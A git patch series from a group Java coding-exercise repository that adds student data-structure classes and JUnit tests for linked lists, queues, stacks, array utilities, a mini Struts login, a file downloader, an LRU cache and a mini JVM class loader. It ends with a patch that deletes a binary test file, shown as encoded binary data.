+        }
+    }
+
+    @Test
+    public void testRemoveDuplicateValues() throws Exception {
+        LinkedList linklist = new LinkedList();
+        String[] array = new String[]{"a","b","b","b","d","d","d"};
+        for (String str : array){
+            linklist.add(str);
+        }
+        linklist.printList();
+        linklist.removeDuplicateValues();
+        linklist.printList();
+
+    }
+
+    @Test
+    public void testRemove1() throws Exception {
+        LinkedList linklist = new LinkedList();
+        String[] array = new String[]{"a","b","c","d","e","f","g"};
+        for (String str : array){
+            linklist.add(str);
+        }
+        linklist.printList();
+        linklist.remove(0,4);
+        linklist.printList();
+    }
+}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code01/QueueTest.java b/group23/769232552/coding/src/test/java/code01/QueueTest.java
new file mode 100644
index 0000000000..1390e3d3be
--- /dev/null
+++ b/group23/769232552/coding/src/test/java/code01/QueueTest.java
@@ -0,0 +1,24 @@
+package code01;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+/**
+ * Created by yaoyuan on 2017/3/8.
+ */
+public class QueueTest {
+
+    @Test
+    public void testQueue() throws Exception {
+        Queue queue = new Queue();
+        String[] array = new String[]{"a","b","c"};
+        for (String str : array){
+            queue.enQueue(str);
+        }
+        int i = 0;
+        while (!queue.isEmpty()){
+            Assert.assertEquals(array[i],queue.deQueue());
+            i ++;
+        }
+    }
+}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code01/StackTest.java b/group23/769232552/coding/src/test/java/code01/StackTest.java
new file mode 100644
index 0000000000..e4c9878d50
--- /dev/null
+++ b/group23/769232552/coding/src/test/java/code01/StackTest.java
@@ -0,0 +1,27 @@
+package code01;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+/**
+ * Created by yaoyuan on 2017/3/8.
+ */
+public class StackTest {
+
+    @Test
+    public void testStack() throws Exception {
+        Stack stack = new Stack();
+        String[] array = new String[]{"a","b","c"};
+        for (String str : array){
+            stack.push(str);
+        }
+        int i = 2;
+        while (!stack.isEmpty()){
+            Assert.assertEquals(array[i],stack.peek());
+            Assert.assertEquals(array[i],stack.pop());
+            i --;
+        }
+    }
+
+}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code02/ArrayUtilTest.java b/group23/769232552/coding/src/test/java/code02/ArrayUtilTest.java
new file mode 100644
index 0000000000..1277e3dab6
--- /dev/null
+++ b/group23/769232552/coding/src/test/java/code02/ArrayUtilTest.java
@@ -0,0 +1,73 @@
+package code02;
+
+import org.junit.Test;
+
+/**
+ * Created by yaoyuan on 2017/3/13.
+ */
+public class ArrayUtilTest {
+
+    @Test
+    public void testReverseArray() throws Exception {
+        int[] arr1 = new int[]{1,2,3,4,5,6,7};
+        ArrayUtil arrayUtil = new ArrayUtil();
+        arrayUtil.reverseArray(arr1);
+        arrayUtil.printArr(arr1);
+
+
+    }
+
+    @Test
+    public void testRemoveZero() throws Exception {
+        int[] arr1 = new int[]{1,0,2,3,0,0,4,5,6,0};
+        ArrayUtil arrayUtil = new ArrayUtil();
+        int[] arr2 = arrayUtil.removeZero(arr1);
+        arrayUtil.printArr(arr2);
+    }
+
+    @Test
+    public void testMerge() throws Exception {
+        int[] arr1 = new int[]{3, 5, 7, 8};
+        int[] arr2 = new int[]{4, 5, 6, 7};
+        ArrayUtil arrayUtil = new ArrayUtil();
+        int[] arr3 = arrayUtil.merge(arr1,arr2);
+        arrayUtil.printArr(arr3);
+    }
+
+    @Test
+    public void testGrow() throws Exception {
+        int[] arr1 = new int[]{1,2,3,4,5,6,7};
+        ArrayUtil arrayUtil = new ArrayUtil();
+        int[] arr2 = arrayUtil.grow(arr1,3);
+        arrayUtil.printArr(arr2);
+    }
+
+    @Test
+    public void testFibonacci() throws Exception {
+        ArrayUtil arrayUtil = new ArrayUtil();
+        int[] arr1 = arrayUtil.fibonacci(4);
+        arrayUtil.printArr(arr1);
+
+        int[] arr2 = arrayUtil.fibonacci(20);
+        arrayUtil.printArr(arr2);
+    }
+
+    @Test
+    public void testGetPrimes() throws Exception {
+        ArrayUtil arrayUtil = new ArrayUtil();
+        arrayUtil.printArr(arrayUtil.getPrimes(30));
+    }
+
+    @Test
+    public void testGetPerfectNumbers() throws Exception {
+        ArrayUtil arrayUtil = new ArrayUtil();
+        arrayUtil.printArr(arrayUtil.getPerfectNumbers(1000));
+    }
+
+    @Test
+    public void testJoin() throws Exception {
+        int[] arr1 = new int[]{1,2,3,4,5,6,7};
+        ArrayUtil arrayUtil = new ArrayUtil();
+        System.out.println(arrayUtil.join(arr1,"-"));
+    }
+}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code02/litestruts/StrutsTest.java b/group23/769232552/coding/src/test/java/code02/litestruts/StrutsTest.java
new file mode 100644
index 0000000000..9213702251
--- /dev/null
+++ b/group23/769232552/coding/src/test/java/code02/litestruts/StrutsTest.java
@@ -0,0 +1,43 @@
+package code02.litestruts;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("Message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一致
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("Message"));
+	}
+}
diff --git a/group23/769232552/coding/src/test/java/code03/FileDownloaderTest.java b/group23/769232552/coding/src/test/java/code03/FileDownloaderTest.java
new file mode 100644
index 0000000000..cdc58d24b3
--- /dev/null
+++ b/group23/769232552/coding/src/test/java/code03/FileDownloaderTest.java
@@ -0,0 +1,59 @@
+package code03;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import code03.api.ConnectionManager;
+import code03.api.DownloadListener;
+import code03.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://litten.me/assets/blogImg/litten.png";
+
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group23/769232552/coding/src/test/java/code04/LRUPageFrameTest.java b/group23/769232552/coding/src/test/java/code04/LRUPageFrameTest.java
new file mode 100644
index 0000000000..7448e3ee56
--- /dev/null
+++ b/group23/769232552/coding/src/test/java/code04/LRUPageFrameTest.java
@@ -0,0 +1,38 @@
+package code04;
+
+import  org.junit.Assert;
+
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+        //1，0，7
+		Assert.assertEquals("1,0,7", frame.toString());
+        frame.access(2);
+        //2，1，0
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		//0，2，1
+        Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
+        //0，2，1
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+        //3，0，2
+        Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+        //0，3，2
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		//4，0，3
+        Assert.assertEquals("4,0,3", frame.toString());
+	}
+
+}
diff --git a/group23/769232552/coding/src/test/java/mini_jvm/ClassFileloaderTest.java b/group23/769232552/coding/src/test/java/mini_jvm/ClassFileloaderTest.java
new file mode 100644
index 0000000000..9602743b02
--- /dev/null
+++ b/group23/769232552/coding/src/test/java/mini_jvm/ClassFileloaderTest.java
@@ -0,0 +1,71 @@
+package mini_jvm;
+
+import mini_jvm.loader.ClassFileLoader;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class ClassFileloaderTest {
+
+
+	static String path1 = "D:\\worksapce\\gitRepo\\java_coding2017\\coding2017\\group23\\769232552\\coding\\target\\classes";
+	static String path2 = "D:\\worksapce\\gitRepo\\java_coding2017\\coding2017\\group23\\769232552\\coding\\target\\test-classes";
+
+
+	ClassFileLoader loader = new ClassFileLoader();
+
+	@Before
+	public void setUp() throws Exception {
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testClassPath(){
+		String clzPath = loader.getClassPath();
+		Assert.assertEquals(path1+";"+path2,clzPath);
+	}
+
+	@Test
+	public void testClassFileLength() {
+		String className = "mini_jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		Assert.assertEquals(1026, byteCodes.length);
+
+	}
+
+
+    @Test
+	public void testMagicNumber(){
+		String className = "mini_jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		String acctualValue = this.byteToHexString(codes);
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+
+
+
+
+
+
+	private String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+
+}
diff --git a/group23/769232552/coding/src/test/java/mini_jvm/EmployeeV1.java b/group23/769232552/coding/src/test/java/mini_jvm/EmployeeV1.java
new file mode 100644
index 0000000000..b06f72b9e2
--- /dev/null
+++ b/group23/769232552/coding/src/test/java/mini_jvm/EmployeeV1.java
@@ -0,0 +1,28 @@
+package mini_jvm;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group23/810181789/src/firstday/ArrayListt.java b/group23/810181789/src/firstday/ArrayListt.java
new file mode 100644
index 0000000000..229c588f33
--- /dev/null
+++ b/group23/810181789/src/firstday/ArrayListt.java
@@ -0,0 +1,86 @@
+package firstday;
+
+import java.util.Arrays;
+
+public class ArrayListt {
+    private Object arr[]=new Object[10];
+    private int pos=0;
+    public boolean add(Object o)
+    {
+    	if(pos<arr.length)
+    	{
+    		arr[pos]=o;
+    		pos++;
+    		return true;
+    	}
+    	else if(pos>=arr.length)
+    	{
+    		arr=Arrays.copyOf(arr, arr.length+1);
+    		arr[pos] = o;
+    		pos++;
+    		return true;
+    	}
+    	return false;
+    }
+    public boolean add(Object o, int index)
+    {
+    	if(pos<arr.length)
+    	{
+    		for(int i=index;i<arr.length;i++)
+    		{
+    			arr[i+1]=arr[i];
+    		}
+    		arr[index] = o;
+    		return true;
+    	}
+    	else if(pos>=arr.length)
+    	{
+    		arr=Arrays.copyOf(arr, arr.length+1);
+    		for(int i=arr.length-2;i>=index;i--)
+    		{
+    			arr[i+1] = arr[i];
+    		}
+    		arr[index] = o;
+    		return true; 
+    	}
+    	return false;
+    }
+    public Object get(int i)
+    {
+    	Object o = arr[i];
+    	return o;
+    }
+    public Object remove(int index)
+    {
+    	Object var=arr[index];
+    	for(int i=index+1;i<arr.length;i++)
+    	{
+    		arr[i-1]=arr[i];
+    	}
+    	pos--;
+    	return var;
+    }
+    public int size()
+    {
+    	return pos;
+    }
+    public static void main(String[] args)
+    {
+    	ArrayListt atest = new ArrayListt();
+    	for(int i=0;i<10;i++)
+    	{
+    		atest.add(i);
+    	}
+    	atest.add(99,7);
+    	for(int i=0;i<atest.arr.length;i++)
+    	{
+    		System.out.println(atest.get(i));
+    	}
+    	atest.remove(1);
+    	for(int i=0;i<atest.arr.length;i++)
+    	{
+    		System.out.println(atest.get(i));
+    	}
+    	atest.size();
+    }
+}
diff --git a/group23/810181789/src/firstday/LinkListt.java b/group23/810181789/src/firstday/LinkListt.java
new file mode 100644
index 0000000000..6eee6eae2d
--- /dev/null
+++ b/group23/810181789/src/firstday/LinkListt.java
@@ -0,0 +1,167 @@
+package firstday;
+
+import firstday.LinkListt;
+//import firstday.LinkListt.Node;
+
+public class LinkListt {
+  private static class Node
+  {
+	  private Object date=null;
+	  private Node next=null;
+	  public Node(Object o)
+	  {
+		  this.date=o;
+	  }
+  }
+   public Node head=null;
+   public void add(Object o)
+   {
+	   Node nde=new Node(o);
+	   if(head == null)
+	   {
+		   head=nde;
+	   }
+	   else
+	   {
+		   Node order=head;
+		   while(true)
+		   {
+			   if(order.next==null)
+			   {
+				   order.next=nde;
+				   break;
+			   }
+			   order=order.next;
+		   }
+	   }
+   }
+   public void add(int index,Object o)
+   {
+	   int cnt=1;
+	   Node n=head;
+	   while(true)
+	   {
+		   if(cnt==index-1)
+		   {
+			   Node no=new Node(o);
+			   no.next=n.next;
+			   n.next=no;
+			   break;
+		   }
+		   n=n.next;
+		   cnt++;
+	   }
+   }
+   public Object get(int index)
+   {
+	   int cnt=1;
+	   Node n=head;
+	   while(true)
+	   {
+		   if(cnt==index)
+		   {
+			   return n.date;
+		   }
+		   n=n.next;
+		   cnt++;
+	   }
+   }
+   public Object remove(int index)
+   {
+	   int cnt=1;
+	   Node n=head;
+	   Node front=null;
+	   Object re=null;
+	   while(true)
+	   {
+		   if(cnt==index-1)
+		   {
+			   front=n;
+		   }
+		   if(cnt==index)
+		   {
+			   front.next=n.next;
+			   n.next=null;
+			   re=n.date;
+			   n=null;
+			   return re;
+		   }
+		   cnt++;
+		   n=n.next;
+	   }
+   }
+   public int size()
+   {
+	   int cnt=1;
+	   Node n=head;
+	   while(true)
+	   {
+		   if(n.next==null)
+		   {
+			   return cnt;
+		   }
+		   cnt++;
+		   n=n.next;
+	   }
+   }
+   public void addFirst(Object o)
+   {
+	   Node n=new Node(o);
+	   n.next=head;
+	   head=n;
+   }
+   public Object removeFirst()
+   {
+	   Object re;
+	   Node n=head;
+	   head=n.next;
+	   n.next=null;
+	   re=n.date;
+	   n=null;
+	   return re;
+   }
+   public Object removeLast()
+   {
+	   Node n=head;
+	   Node front=null;
+	   Object re=null;
+	   while(true)
+	   {
+		   if(n.next==null)
+		   {
+			   re=n.date;
+			   front.next=null;
+			   n=null;
+			   return re;
+		   }
+		   front=n;
+		   n=n.next;
+	   }
+   }
+   public static void main(String[] args)
+   {
+	   LinkListt l=new LinkListt();
+	   for(int i=0;i<5;i++)
+	   {
+		   l.add(i);
+	   }
+	   l.add(3,8);
+	   for(int i=1;i<=6;i++)
+	   {
+		   System.out.println(l.get(i));
+	   }
+	   //System.out.println(l.size());
+	   l.addFirst(99);
+	   for(int i=1;i<=7;i++)
+	   {
+		   System.out.println(l.get(i));
+	   }
+	   l.removeFirst();
+	   for(int i=1;i<=6;i++)
+	   {
+		   System.out.println(l.get(i));
+	   }
+	   System.out.println(l.size());
+   }
+}
+
diff --git a/group23/810181789/src/firstday/Queue.java b/group23/810181789/src/firstday/Queue.java
new file mode 100644
index 0000000000..807911f3f3
--- /dev/null
+++ b/group23/810181789/src/firstday/Queue.java
@@ -0,0 +1,43 @@
+package firstday;
+import firstday.LinkListt;
+public class Queue {
+    private LinkListt l=new LinkListt();
+    public Object deQueue()
+    {
+    	return l.removeFirst();
+    }
+    public void enQueue(Object o)
+    {
+    	l.add(o);
+    }
+    public boolean isEmpty()
+    {
+    	if(l.head==null)
+    	{
+    		return true;
+    	}
+    	else
+    	{
+    		return false;
+    	}
+    }
+    public int size()
+    {
+    	return l.size();
+    }
+    public static void main(String[] args)
+    {
+    	Queue q=new Queue();
+    	for(int i=0;i<4;i++)
+    	{
+    		q.enQueue(i);
+    	}
+    	System.out.println(q.size());
+    	for(int i=0;i<4;i++)
+    	{
+    		System.out.println(q.deQueue());
+    	}
+    	System.out.println(q.size());
+    	//System.out.println(q.isEmpty());
+    }
+}
diff --git a/group23/810181789/src/firstday/Stack.java b/group23/810181789/src/firstday/Stack.java
new file mode 100644
index 0000000000..abe43a4cac
--- /dev/null
+++ b/group23/810181789/src/firstday/Stack.java
@@ -0,0 +1,43 @@
+package firstday;
+import firstday.ArrayListt;
+public class Stack {
+     private ArrayListt a=new ArrayListt();
+     public Object peek()
+     {
+    	 return a.get(a.size()-1);
+     }
+     public Object pop()
+     {
+    	 return a.remove(a.size()-1);
+     }
+     public void push(Object o)
+     {
+    	 a.add(o);
+     }
+     public boolean isEmpty()
+     {
+    	 if(a.size()==0)
+    	 {
+    		 return true;
+    	 }
+    	 else
+    	 {
+    		 return false;
+    	 }
+     }
+     public int size()
+     {
+    	 return a.size();
+     }
+     public static void main(String[] args)
+     {
+    	 Stack s=new Stack();
+    	 for(int i=0;i<4;i++)
+    	 {
+    		 s.push(i);
+    	 }
+    	 s.pop();
+    	 System.out.println(s.peek());
+    	 System.out.println(s.size());
+     }
+}
diff --git a/group23/group23.md b/group23/group23.md
new file mode 100644
index 0000000000..8b13789179
--- /dev/null
+++ b/group23/group23.md
@@ -0,0 +1 @@
+

From 71d5050d85cd96b82989f7e38908dbc1bc8b6d7d Mon Sep 17 00:00:00 2001
From: cmhello88 <cm_20094020@163.com>
Date: Mon, 8 May 2017 09:29:40 +0800
Subject: [PATCH 237/262] =?UTF-8?q?=E5=88=A0=E9=99=A4=E5=A4=9A=E4=BD=99?=
 =?UTF-8?q?=E7=9A=84=E4=BA=8C=E8=BF=9B=E5=88=B6=E6=96=87=E4=BB=B6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 group03/345943980/download-0335/test | Bin 69464 -> 0 bytes
 1 file changed, 0 insertions(+), 0 deletions(-)
 delete mode 100644 group03/345943980/download-0335/test

diff --git a/group03/345943980/download-0335/test b/group03/345943980/download-0335/test
deleted file mode 100644
index e52791509fe4c7a96bc8344e71c6f52781e4b214..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 69464
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
